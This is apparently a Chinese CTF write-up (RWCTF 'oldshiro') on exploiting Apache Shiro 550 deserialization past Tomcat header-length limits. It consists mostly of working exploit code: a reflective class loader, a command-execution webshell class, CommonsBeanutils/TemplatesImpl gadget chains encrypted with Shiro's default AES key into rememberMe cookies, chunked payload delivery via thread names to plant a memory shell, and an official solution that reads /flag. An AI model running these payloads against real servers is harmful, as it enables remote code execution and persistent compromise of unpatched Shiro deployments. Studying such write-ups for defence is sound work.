修改 header-max长度
比较常规的方法,就不说了,
分离payload+动态类加载
这种方式简单来讲就是先上传一个自己的classload,例如
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class EvilLoader extends AbstractTranslet {
static{
try{
javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
java.lang.reflect.Field r=request.getClass().getDeclaredField("request");
r.setAccessible(true);
org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();
javax.servlet.http.HttpSession session = request.getSession();
String classData=request.getParameter("classData");
byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
Class cc = (Class) defineClassMethod.invoke(EvilLoader.class.getClassLoader(), classBytes, 0,classBytes.length);
cc.newInstance().equals(new Object[]{request,response,session});
}catch(Exception e){
e.printStackTrace();
}
}
@Override
public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
}
@Override
public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {
}
}然后post传一个恶意类的字节码,例如下面这个,classloader获取到request参数就会实例化这个类并调用equals方法
import java.io.InputStream;
import java.util.Scanner;
public class cmd2 {
public boolean equals(Object req) {
Object[] context=(Object[]) req;
// org.apache.catalina.connector.Request request=(org.apache.catalina.connector.Request)context[0];
// org.apache.catalina.connector.Response response=(org.apache.catalina.connector.Response)context[1];
org.apache.catalina.connector.RequestFacade request=(org.apache.catalina.connector.RequestFacade )context[0];
org.apache.catalina.connector.Response response=(org.apache.catalina.connector.Response)context[1];
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
response.setContentType("text/html;charset=utf-8");
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\\\a");
String output = s.hasNext() ? s.next() : "";
response.getWriter().println("----------------------------------");
response.getWriter().println(output);
response.getWriter().println("----------------------------------");
response.getWriter().flush();
response.getWriter().close();
} catch (Exception e) {
e.printStackTrace();
}
}
return true;
}
}然后把这个的字节码分块传输上去,再实例化它,实现如下
package org.rwctf.oldshiro.poc;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.Base64;
import java.util.PriorityQueue;
public class CommonsBeanutilsString {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(String classname,String j) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass(classname);
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
// constructor.setBody(" try {\n" +
// " new java.io.FileOutputStream(new java.io.File(\"/tmp/1.txt\"), true).write(\"" + j +"\".getBytes());\n" +
// " } catch (Exception ignored) {\n" +
// " }");
//
// constructor.setBody(" try {\n" +
// " java.lang.Runtime.getRuntime().exec(new String []{\"/bin/bash\",\"-c\",\"cat /tmp/1.txt | base64 -d > /tmp/EvilLoader.class\"});\n" +
// " } catch (Exception ignored) {\n" +
// " }");
constructor.setBody(" try {\n" +
" new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(\"file:///tmp/\")}).loadClass(\"EvilLoader1\").newInstance();\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bytes});
setFieldValue(obj, "_name", "H");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
return barr.toByteArray();
}
public static ArrayList makeBlockPayload (){
// 这里是 实现的恶意classloader的字节码
String input = "";
int groupSize = 400;
int length = input.length();
int startIndex = 0;
int endIndex = Math.min(length, groupSize);
int a = 1;
ArrayList<String> arrayList = new ArrayList<>();
while (startIndex < length) {
String group = input.substring(startIndex, endIndex);
// System.out.println(a + ":" + group);
arrayList.add(group);
startIndex = endIndex;
endIndex = Math.min(startIndex + groupSize, length);
a++;
}
// System.out.println(arrayList);
return arrayList;
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get("EvilLoader");
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = ctClass.toBytecode();
System.out.println(new String(Base64.getEncoder().encode(classBytes)));
CtClass ctClass2 = pool.get("cmd2");
byte[] classBytes2 = ctClass2.toBytecode();
System.out.println("post请求参数wangdefu\\n" + Base64.getEncoder().encodeToString(classBytes2));
ArrayList<String> result = new ArrayList<>();
ArrayList<String> arrayList = makeBlockPayload();
for (int i = 0; i < arrayList.size(); i++) {
byte[] payloads = new CommonsBeanutilsString().getPayload(String.valueOf(i), arrayList.get(i));
System.out.println(new String(Base64.getEncoder().encode(payloads)));
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.println(ciphertext.toString());
result.add("\"" + ciphertext.toString() + "\"");
System.out.println(ciphertext.toString().length());
}
System.out.println(result);
}
}这里最后loadclass的方式很多,但因为使用javaassist的缘故,我如果想要把执行代码放到constructor有一些方式会报错,例如利用下面这种方式的话。所以最后直接用urlload class最方便
static {
try {
byte[] clazzByte = (new sun.misc.BASE64Decoder()).decodeBuffer(new String(java.nio.file.Files.readAllBytes(new java.io.File("/tmp/1.txt").toPath()), java.nio.charset.StandardCharsets.UTF_8));
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
defineClass.setAccessible(true);
Class clazz = (Class)defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
clazz.newInstance();
} catch (Exception e) {
e.printStackTrace();
}
}但很奇怪的是这种方式只能执行一次命令,后面就不执行了 ,但是既然已经分块传输了,直接把内存马字节码扔过去实例化添加一个路由就行了,

分块写入payload
参考 https://y4tacker.github.io/2022/04/14/year/2022/4/%E6%B5%85%E8%B0%88Shiro550%E5%8 F%97Tomcat-Header%E9%95%BF%E5%BA%A6%E9%99%90%E5%88%B6%E5%BD%B1%E5%93%8 D%E7%AA%81%E7%A0%B4/
ClassPool pool = ClassPool.getDefault();
CtClass springEcho = SpringEcho.genPayload(pool);
byte[] memoryExp = springEcho.toBytecode();
// byte[] memoryExp = MiscUtils.classAsBytes(Evil.class);
T.class
String expCode =
org.apache.shiro.codec.Base64.encodeToString(memoryExp);
Integer split = 200;
List<String> expCodes = splitString(expCode, split);
// 创建 thread
Object createThread =
STemplates.makeEvilTemplates("Thread.currentThread().setName(\"#\");", "A");
createThread = deserialize2Getter(createThread, "outputProperties");
printLength(createThread);
sendToServer(createThread);
// 添加 thread
for (int i = 0;i < expCodes.size(); ++i) {
String format =
" ThreadGroup a =
Thread.currentThread().getThreadGroup();\n" +
" java.lang.reflect.Field v2 =
a.getClass().getDeclaredField(\"threads\");\n" +
" v2.setAccessible(true);\n" +
" Thread[] o = (Thread[]) v2.get(a);\n" +
" for(int i = 0; i < o.length; ++i) {if
(o[i].getName().contains(\"#\")){o[i].setName(o[i].getName()+\"" +
expCodes.get(i) + "\");}}";
Object splitSend = STemplates.makeEvilTemplates(format, "B" + i);
splitSend = deserialize2Getter(splitSend, "outputProperties");
printLength(splitSend);
sendToServer(splitSend);
}
Object runThread =
STemplates.getEvilTemplates(MiscUtils.classAsBytes(T.class));
//
runThread = deserialize2Getter(runThread, "outputProperties");
printLength(runThread);
sendToServer(runThread);
byte[] code = SerializeUtils.serialize(runThread);
String session = encode(code);
System.out.println(session);T.class
tatic { try {
ThreadGroup a = Thread.currentThread().getThreadGroup();
java.lang.reflect.Field v =
a.getClass().getDeclaredField("threads");
v.setAccessible(true);
// for (Thread z: ((Thread[])v.get(a))) {
// System.out.println(z.getName());
byte[] x =
org.apache.shiro.codec.Base64.decode(((Thread[])v.get(a))
[4].getName().substring(1));
java.lang.reflect.Method defineClassMethod =
ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class,
int.class);
defineClassMethod.setAccessible(true);
((Class)defineClassMethod.invoke(Thread.currentThread().getContextClassLoader(),
x, 0, x.length)).newInstance();
// }
} catch (Exception e) {}
}官方wp
package org.example;
import com.nqzero.permit.Permit;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.objectweb.asm.*;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.net.URLEncoder;
import java.security.*;
import java.util.Base64;
import java.util.PriorityQueue;
public class Main {
public static void main(String[ ] args) throws Exception {
String key = "kPH+bIxk5D2deZiIxcaaaA==";
String javaCode = "Object attr = java.lang.Class.forName(\"org.springframework.web.context.request.RequestContextHolder\").getMethod(\"currentRequestAttributes\", new java.lang.Class[ ]{}).invoke(null,null);" +
"Object resp = attr.getClass().getMethod(\"getResponse\", null).invoke(attr, null);" +
"String flag = new java.lang.String(java.nio.file.Files.readAllBytes(java.nio.file.Paths.get(\"/flag\", new java.lang.String[ ]{})));" +
"resp.getClass().getMethod(\"addHeader\", new java.lang.Class[ ]{java.lang.String.class, java.lang.String.class}).invoke(resp, new java.lang.Object[ ]{\"r\", flag});";
Object cbGadget = getCbGadget(javaCode);
byte[ ] cbGadgetBytes = Serialization.serialize(cbGadget);
String s = doShiroEncryption(cbGadgetBytes, key);
System.out.println("Cookie length: " + s.length());
System.out.println("Cookie is: " + s);
}
public static byte[ ] base64Decode(String key) {
return Base64.getDecoder().decode(key);
}
public static String base64Encode(byte[ ] key) {
return Base64.getEncoder().encodeToString(key);
}
public static String urlEncode(String key) throws UnsupportedEncodingException {
return URLEncoder.encode(key, "UTF-8");
}
public static String doShiroEncryption(byte[ ] content, String keyInBase64) throws NoSuchAlgorithmException, NoSuchPaddingException, InvalidAlgorithmParameterException, InvalidKeyException, IllegalBlockSizeException, BadPaddingException {
byte[ ] key = base64Decode(keyInBase64);
byte[ ] iv = generateRandomIv();
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
Key keySpec = new SecretKeySpec(key, "AES");
IvParameterSpec ivSpec = new IvParameterSpec(iv);
cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec);
byte[ ] encrypted = cipher.doFinal(content);
byte[ ] cipherText = new byte[iv.length + encrypted.length];
System.arraycopy(iv, 0, cipherText, 0, iv.length);
System.arraycopy(encrypted, 0, cipherText, iv.length, encrypted.length);
return base64Encode(cipherText);
}
private static byte[ ] generateRandomIv() throws NoSuchAlgorithmException {
byte[ ] iv = new byte[16];
SecureRandom random = SecureRandom.getInstance("SHA1PRNG");
random.nextBytes(iv);
return iv;
}
public static Object getCbGadget(String javaCode) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(javaCode);
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by comparator
Reflections.setFieldValue(comparator, "property", "outputProperties");
// switch contents of queue
final Object[ ] queueArray = (Object[ ]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
return queue;
}
public static class Serialization {
public static byte[ ] serialize(Object obj) throws IOException {
final ByteArrayOutputStream out = new ByteArrayOutputStream();
serialize(obj, out);
return out.toByteArray();
}
public static void serialize(Object obj, OutputStream out) throws IOException {
final ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
}
}
public static class Gadgets {
public static Object createTemplatesImpl(final String command) throws Exception {
if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {
return createTemplatesImpl(
command,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
}
return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
public static <T> T createTemplatesImpl(final String javaCode, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory)
throws Exception {
final T templates = tplClass.newInstance();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.makeClass("StubTransletPayload");
clazz.makeClassInitializer().insertAfter(javaCode);
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
byte[ ] classBytes = clazz.toBytecode();
// inject class bytes into instance
classBytes = shortenClassBytes(classBytes);
byte[ ] fooBytes = shortenClassBytes(ClassFiles.classAsBytes(Foo.class));
Reflections.setFieldValue(templates, "_bytecodes", new byte[ ][ ]{
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "1");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
}
public static class ClassFiles {
public static String classAsFile(final Class<?> clazz) {
return classAsFile(clazz, true);
}
public static String classAsFile(final Class<?> clazz, boolean suffix) {
String str;
if (clazz.getEnclosingClass() == null) {
str = clazz.getName().replace(".", "/");
} else {
str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
}
if (suffix) {
str += ".class";
}
return str;
}
public static byte[ ] classAsBytes(final Class<?> clazz) {
try {
final byte[ ] buffer = new byte[1024];
final String file = classAsFile(clazz);
final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);
if (in == null) {
throw new IOException("couldn't find '" + file + "'");
}
final ByteArrayOutputStream out = new ByteArrayOutputStream();
int len;
while ((len = in.read(buffer)) != -1) {
out.write(buffer, 0, len);
}
return out.toByteArray();
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
public static class Foo implements Serializable {
private static final long serialVersionUID = 8207363842866235160L;
}
public static class Reflections {
public static void setAccessible(AccessibleObject member) {
String versionStr = System.getProperty("java.version");
int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
if (javaVersion < 12) {
// quiet runtime warnings from JDK9+
Permit.setAccessible(member);
} else {
// not possible to quiet runtime warnings anymore...
// see https://bugs.openjdk.java.net/browse/JDK-8210522
// to understand impact on Permit (i.e. it does not work
// anymore with Java >= 12)
member.setAccessible(true);
}
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
setAccessible(field);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
}
public static byte[ ] shortenClassBytes(byte[ ] classBytes) {
ClassReader cr = new ClassReader(classBytes);
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
int api = Opcodes.ASM7;
ClassVisitor cv = new ShortClassVisitor(api, cw);
int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES;
cr.accept(cv, parsingOptions);
byte[ ] out = cw.toByteArray();
return out;
}
public static class ShortClassVisitor extends ClassVisitor {
private final int api;
public ShortClassVisitor(int api, ClassVisitor classVisitor) {
super(api, classVisitor);
this.api = api;
}
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[ ] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
return new ShortMethodAdapter(this.api, mv);
}
}
public static class ShortMethodAdapter extends MethodVisitor implements Opcodes {
public ShortMethodAdapter(int api, MethodVisitor methodVisitor) {
super(api, methodVisitor);
}
@Override
public void visitLineNumber(int line, Label start) {
// delete line number
}
}
}